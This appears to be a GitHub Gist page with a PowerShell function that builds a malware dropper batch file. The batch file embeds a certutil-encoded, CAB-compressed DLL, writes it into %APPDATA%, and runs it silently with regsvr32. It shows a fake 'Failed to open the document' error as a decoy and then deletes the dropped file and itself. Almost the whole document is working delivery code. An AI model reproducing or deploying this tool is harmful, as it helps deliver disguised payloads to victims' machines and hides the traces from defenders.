Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
Generate a batch file to execute a dll with regsvr32
function New-RegSvr32BatchFile
Generates a batch file which will contain a certutil encoded, cab compressed payload.
The batch file will decode and decompress the cab file, then execute the dll within with regsvr32. You may modify the bat file to execute whatever you want.
Create payload:
1. makecab payload.dll ""
2. certutil -encode payload.txt
.PARAMETER CabCompressedPayload
File path to the cab compressed and encoded payload.
.PARAMETER BatchFilePath
Path to output the resulting bat file.
The path to output the resulting payload. Placed in the bat file.
New-RegSvr32BatchFile -CabCompressedPayload payload.txt
Generate a bat file from the file payload.txt with all of the default parameter values.
[Parameter(Mandatory = $True)]
[string]$BatchFilePath = "malicious.bat",
[string]$InlinePath = "%appdata%\debug.dll"
$TemplateBatch = @"
SET OutDll=`"$InlinePath`"
SET dropPath="%APPDATA%\debug.txt"
setlocal enabledelayedexpansion
) > %dropPath%
certutil -decode "%dropPath%" ""
expand "%OutDll%"
ECHO Failed to open the document
start /b regsvr32 /s "%OutDll%"
timeout /t 5 /nobreak > NUL
del "%dropPath%"
start /b "" cmd /c del "%~f0"&exit /b
$certUtilEncodedBinary = Get-Content -Encoding Ascii $CabCompressedPayload
$count = 1
$batchFormattedBinary = $certUtilEncodedBinary | % {"SET `"line$count=$_`"";$count+=1}
$count = 1
$echolines = $certUtilEncodedBinary | % {"echo !line$count!";$count+=1}
$TemplateBatch = $TemplateBatch.Replace("INLINEENCODING",$batchFormattedBinary -join "`n")
$TemplateBatch = $TemplateBatch.Replace("ECHOCMDLINES",$echolines -join "`n`t")
$TemplateBatch = $TemplateBatch -creplace '(?m)^\s*\r?\n',''
$TemplateBatch | Out-File -Encoding ascii $BatchFilePath -Force
Get-ChildItem -Path $BatchFilePath
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment